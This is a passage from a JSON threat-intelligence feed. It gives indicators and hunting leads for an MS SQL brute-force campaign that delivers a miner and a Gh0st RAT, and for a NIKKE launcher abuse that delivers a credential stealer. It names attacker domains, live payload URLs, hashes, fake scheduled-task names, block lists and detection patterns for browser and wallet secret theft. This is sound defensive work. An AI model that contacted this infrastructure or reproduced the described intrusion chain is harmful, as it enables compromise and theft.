"indicator_count": 23, "block_now_count": 19, "hunt_count": 4, "hunt_counts": { "alert": 4 }, "indicator_counts": { "sha256": 12, "domain": 5, "filename": 2, "other": 2, "url": 2 }, "ioas": [ { "artefact": "sqlservr.exe enabling xp_cmdshell, then downloading a file from site.vietnam852.com or ftp.vietnam852.com and writing Google.exe, payload.exe or Secs.exe under C:\\Users\\Public", "log_source": "SQL Server logs, EDR process and file events, proxy and firewall logs", "why": "After a successful brute force, the campaign's 2018.sql T-SQL enables xp_cmdshell and pulls a loader that drops a miner and a Gh0st RAT. FortiGuard Labs observed this chain against internet-facing SQL Server instances in early October 2026.", "action": "alert", "has_query": false, "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_name": "Fortinet", "title": "sqlservr.exe enabling xp_cmdshell", "queries": [] }, { "artefact": "Scheduled tasks named MicrosoftEdgeUpdateTaskMachineUA{CEC15D9B-F4BB-446A-B6E1-C61E74B016A2} (every 30 minutes) or MicrosoftEdgeUpdateTaskMachineCore{4C33CE3F-7722-4257-AF83-351A4911C159} (daily 01:00 running C:\\Users\\Public\\Secs.exe)", "log_source": "Windows scheduled-task events (4698), EDR process events, schtasks queries", "why": "The orchestrator and later stage persist under fake Microsoft Edge Update task names. These GUIDs are specific to this campaign.", "action": "alert", "has_query": false, "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_name": "Fortinet", "title": "Scheduled tasks named...", "queries": [] }, { "artefact": "Outbound HTTP to site.vietnam852.com:88/ip.php or /tj/xmr.php, FTP to ftp.vietnam852.com, or TCP 8000 to server.vietnam852.com or www.swordaa.com, and a user-agent XMRig Reporter", "log_source": "Proxy, firewall and DNS logs", "why": "ip.php supplies scan ranges, the FTP host stages payloads, /tj/xmr.php is the miner reporter, and port 8000 is the Gh0st C2. Do not block public Kryptex mining pools; hunt the reporter and the attacker domains instead.", "action": "alert", "has_query": false, "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_name": "Fortinet", "title": "Outbound HTTP to site.vietnam852.com:88/ip.php or /tj/xmr.php", "queries": [] } ], "ioa_count": 3, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/block_now.txt", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/defender_xdr_indicators.csv", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/hunt.kql", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/hunt.spl", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/hunt_raw.spl", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/hunt.yaral", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/iocs.csv", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT", "share_url": "https://iocwatch.com/t/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/", "indicators": [ { "value": "vietnam852.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Attacker-controlled zone used as the campaign file server, scanner C2 and miner reporter (site.vietnam852.com) and as an FTP staging host (ftp.vietnam852.com).", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "site.vietnam852.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "HTTP file server and C2 on port 88: it serves ip.php (target ranges), down.exe, and the /tj/xmr.php miner reporter.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "ftp.vietnam852.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "FTP staging host the loader uses (FtpGetFileW) to pull MicrosoftEdgeUpdate.exe, winlogon.exe and other payloads.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" }, { "url": "https://urlhaus.abuse.ch/host/ftp.vietnam852.com/", "name": "URLhaus" } ] }, { "value": "server.vietnam852.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Hardcoded Gh0st RAT C2 endpoint on TCP 8000 inside winlogon.exe.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "swordaa.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Second hardcoded Gh0st RAT C2 (www.swordaa.com:8000) inside winlogon.exe.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "http://site.vietnam852.com:88/ip.php", "type": "url", "confidence": "high", "recommended_action": "block", "description": "URL the scanner queries to obtain the next IP range, which it then converts to a /16 and probes on TCP 1433.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "http://site.vietnam852.com:88/down.exe", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Loader URL the malicious T-SQL downloads into C:\\Users\\Public as Google.exe or payload.exe after enabling xp_cmdshell. A copy is also served from ftp.vietnam852.com/down.exe.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "8ce2cd98ef6ceeece8239936e4aea042c41807f632cd691d5091705bf6c0076d", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of dllhost.exe, the UPX-packed Go scanner and orchestrator that uses embedded Naabu to find exposed SQL Server instances.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" }, { "url": "https://bazaar.abuse.ch/sample/8ce2cd98ef6ceeece8239936e4aea042c41807f632cd691d5091705bf6c0076d/", "name": "MalwareBazaar" } ] }, { "value": "f5444e8e9e9e019693aacb363b7441ac0b8ecfe96a77fd94b9c312a017588eb4", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of 2018.sql, the malicious T-SQL script that enables xp_cmdshell and deploys the next-stage loader.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "2a0d2889241885d5ea6fe7dd1b1adc83653a0c07b8aaa1b0832e5f9c0225b379", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of go.bat, a supporting script downloaded into %TEMP%.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "79596cf6e267ef5cb658bd97d04e42a41001d36595e370441adb3c2b5dd5666c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of go.vbs, a supporting script downloaded into %TEMP%.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "e9d3fd9093c476b8b5de19aa00c50758568649def6491f54fa3e0aba4ea31ac9", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of out.bat, a supporting script downloaded into %TEMP%.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "124774698fd3ede0800015d19c2bd6c1869d03bbc2e6e8dbe2f69d2978f7f4d0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of dwm.exe, the SQL Server brute-force tool that tries user.txt and pass.txt against hosts in Result.txt.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "125d3a0efe7699bb20397c13f0f4993ad893952727487b4d190e386a5b14c427", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of a down.exe / google.exe / payload.exe loader dropped onto the compromised SQL Server.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "20983573b840447e1aacd6d3f6dd240732b15037d268d6456f0d3c4ec5051cb0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of a second down.exe / google.exe / payload.exe loader variant.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "58db0ca2054abe2989412d7a1c8ed16718577f893c196825c848fcd56c7e8f05", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the malware downloader embedded inside 2018.sql.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "2a23e10bfc097e98295cbff8124bd403c4cb677e709b48ccc53d6aca216c3061", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of MicrosoftEdgeUpdate.exe, an XMRig miner dropped in this campaign.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "da4128aa5d006e05c58f0d240c2d8e5fb02774b6acf314f1230059c7a3498724", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of a second MicrosoftEdgeUpdate.exe XMRig miner sample.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "3f64b0146b323c5716043360e84384a5a197a897f46088df93a910470a29e1a0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of winlogon.exe, a Themida-packed Gh0st RAT variant whose C2 was already down when FortiGuard Labs analysed it.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "2018.sql", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "Malicious T-SQL filename dropped into %TEMP% and run against the compromised SQL Server to enable xp_cmdshell and deliver the loader.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "%TEMP%\\Result.txt", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "File where the scanner records each host that answers on TCP 1433, later fed to dwm.exe for brute force.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "MicrosoftEdgeUpdateTaskMachineUA{CEC15D9B-F4BB-446A-B6E1-C61E74B016A2}", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Scheduled task the orchestrator creates to rerun dllhost.exe every 30 minutes, imitating a Microsoft Edge Update task.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] }, { "value": "MicrosoftEdgeUpdateTaskMachineCore{4C33CE3F-7722-4257-AF83-351A4911C159}", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Scheduled task the later stage creates to run C:\\Users\\Public\\Secs.exe daily at 01:00.", "source_url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "source_label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "name": "Fortinet" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/hunt.kql", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/hunt.spl", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/hunt_raw.spl", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT/hunt.yaral", "download": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT_hunt.yaral" } ] }, { "id": "NIKKE-Launcher-k2f-agent-Credential-Theft", "folder": "threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft", "name": "NIKKE Launcher Abused to Deliver the k2f-agent Stealer", "short": "NIKKE launcher k2f-agent", "category": "Supply chain / information stealer", "published": "2026-11-12", "entry_date": "2026-11-12 22:55", "last_updated": "2026-11-12", "seq": 38, "headline": "NIKKE PC launcher task channel abused to deliver a Lua stealer targeting browsers, wallets and developer secrets", "summary": "Bitdefender reports that from 30 October 2026 attackers abused the Goddess of Victory: NIKKE PC launcher's server-pushed task channel to deliver k2f-agent, a 46-module Lua stealer, without patching the signed launcher or the game distribution. The payload arrived as obfuscated LuaJIT bytecode disguised as a log file, ran inside the launcher's embedded browser, and harvested Chrome, Edge and Opera passwords and cookies, including those protected by Chrome App-Bound Encryption, plus MetaMask, Phantom, Coinbase Wallet, Keplr and TronLink extension data and developer secrets such as SSH and GPG keys, Git credentials and Kubernetes configs. Stolen data left through the launcher's normal telemetry, and the download, collection, exfiltration and cleanup finished in under ten minutes. The delivery domain insightjs.com was registered on 27 September 2026 and hosted in Iceland at 89.127.233.127; the provider has taken the server down. The domains, IP, payload URL and SHA-256 hash are on the block list. Bitdefender has no evidence that Shift Up or Level Infinite took part in the attack; do not block the game vendor's own infrastructure.", "caveat": "The malicious delivery server has been taken down, but a suspension can be lifted. The NIKKE launcher is legitimate software that was abused; do not block Shift Up, Level Infinite or other official game domains. Treat a machine that ran the launcher during the attack window as compromised and rotate browser, wallet and developer secrets from a clean device.", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [ "Consumers", "Gaming", "Software developers" ], "note": "Bitdefender observed the k2f-agent stealer being delivered to NIKKE PC launcher users from 30 October 2026. The game has more than 45 million downloads; Bitdefender does not name victim organisations and has no evidence the developer or publisher was involved.", "source": { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "name": "Bitdefender" } }, "mitre": [ { "id": "T1195.002", "name": "Compromise Software Supply Chain", "url": "https://attack.mitre.org/techniques/T1195/002/" }, { "id": "T1059", "name": "Command and Scripting Interpreter", "url": "https://attack.mitre.org/techniques/T1059/" }, { "id": "T1555.003", "name": "Credentials from Web Browsers", "url": "https://attack.mitre.org/techniques/T1555/003/" }, { "id": "T1539", "name": "Steal Web Session Cookie", "url": "https://attack.mitre.org/techniques/T1539/" }, { "id": "T1555", "name": "Credentials from Password Stores", "url": "https://attack.mitre.org/techniques/T1555/" }, { "id": "T1552.001", "name": "Credentials In Files", "url": "https://attack.mitre.org/techniques/T1552/001/" }, { "id": "T1071.001", "name": "Web Protocols", "url": "https://attack.mitre.org/techniques/T1071/001/" }, { "id": "T1070.004", "name": "File Deletion", "url": "https://attack.mitre.org/techniques/T1070/004/" } ], "recommended_actions": [ "Block insightjs.com, analytics.insightjs.com and 89.127.233.127, and the payload URL and SHA-256 hash, and search 90 days of DNS, proxy and firewall logs for them.", "On PCs that ran the NIKKE launcher from late October, look for k2f_chan registered in Launcher\\intl_service\\debug.log, LuaJIT bytecode in Launcher\\log\\tinyget\\tinyget.*.log, and %TEMP%\\k2f-bcreds-*.db, and for the signed launcher opening browser credential stores.", "If the agent ran, rotate passwords stored in Chrome, Edge and Opera, move assets from the targeted wallet extensions onto new seed phrases generated on a clean machine, and rotate SSH, GPG, Git, Kubernetes and Windows Credential Manager secrets.", "Do not block official NIKKE, Shift Up or Level Infinite domains or the signed launcher by name alone." ], "sources": [ { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "name": "Bitdefender" } ], "indicator_count": 9, "block_now_count": 5, "hunt_count": 4, "hunt_counts": { "alert": 4 }, "indicator_counts": { "domain": 2, "filename": 2, "other": 2, "ipv4": 1, "sha256": 1, "url": 1 }, "ioas": [ { "artefact": "A signed NIKKE game-launcher process opening Chrome, Edge or Opera Login Data, Login Data For Account, Local State, or cryptocurrency-wallet extension Local Extension Settings .ldb files", "log_source": "EDR file and process events (DeviceFileEvents, DeviceProcessEvents), Sysmon 11 and 1", "why": "k2f-agent runs inside the legitimate launcher and harvests browser passwords, cookies (including Chrome App-Bound Encryption) and wallet extensions (MetaMask, Phantom, Coinbase Wallet, Keplr, TronLink), plus developer secrets. The whole collection and cleanup can finish in under ten minutes.", "action": "alert", "has_query": false, "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_name": "Bitdefender", "title": "A signed NIKKE game-launcher process opening Chrome", "queries": [] }, { "artefact": "A .log file under Launcher\\log\\tinyget, especially tinyget.*.log larger than about 50 KB, whose first bytes are LuaJIT bytecode (\\x1bLJ\\x01) rather than text", "log_source": "Endpoint file events, forensic collection of the NIKKE Launcher log folder", "why": "The stealer arrived as obfuscated LuaJIT bytecode disguised as an ordinary log file, fetched through the launcher's server-pushed task channel. The file is usually deleted quickly.", "action": "alert", "has_query": false, "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_name": "Bitdefender", "title": "A .log file under Launcher\\log\\tinyget", "queries": [] }, { "artefact": "The launcher process connecting to insightjs.com or analytics.insightjs.com, or the string k2f_chan registered in Launcher\\intl_service\\debug.log, or %TEMP%\\k2f-bcreds-*.db", "log_source": "Proxy, DNS and firewall logs; launcher debug.log; endpoint file events", "why": "Those domains hosted the payload. k2f_chan registered shows the Lua agent executed. The temporary database holds stolen browser credentials. Do not block NIKKE, Shift Up or Level Infinite infrastructure; the launcher itself was abused, not trojanised in the game distribution.", "action": "alert", "has_query": false, "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_name": "Bitdefender", "title": "The launcher process connecting to insightjs.com or analytics.insightjs.com", "queries": [] } ], "ioa_count": 3, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/block_now.txt", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/defender_xdr_indicators.csv", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/hunt.kql", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/hunt.spl", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/hunt_raw.spl", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/hunt.yaral", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/iocs.csv", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft", "share_url": "https://iocwatch.com/t/NIKKE-Launcher-k2f-agent-Credential-Theft/", "indicators": [ { "value": "insightjs.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Attacker domain that hosted the k2f-agent delivery server. Registered 27 September 2026, about five weeks before the attacks; the Icelandic host was taken down.", "source_url": 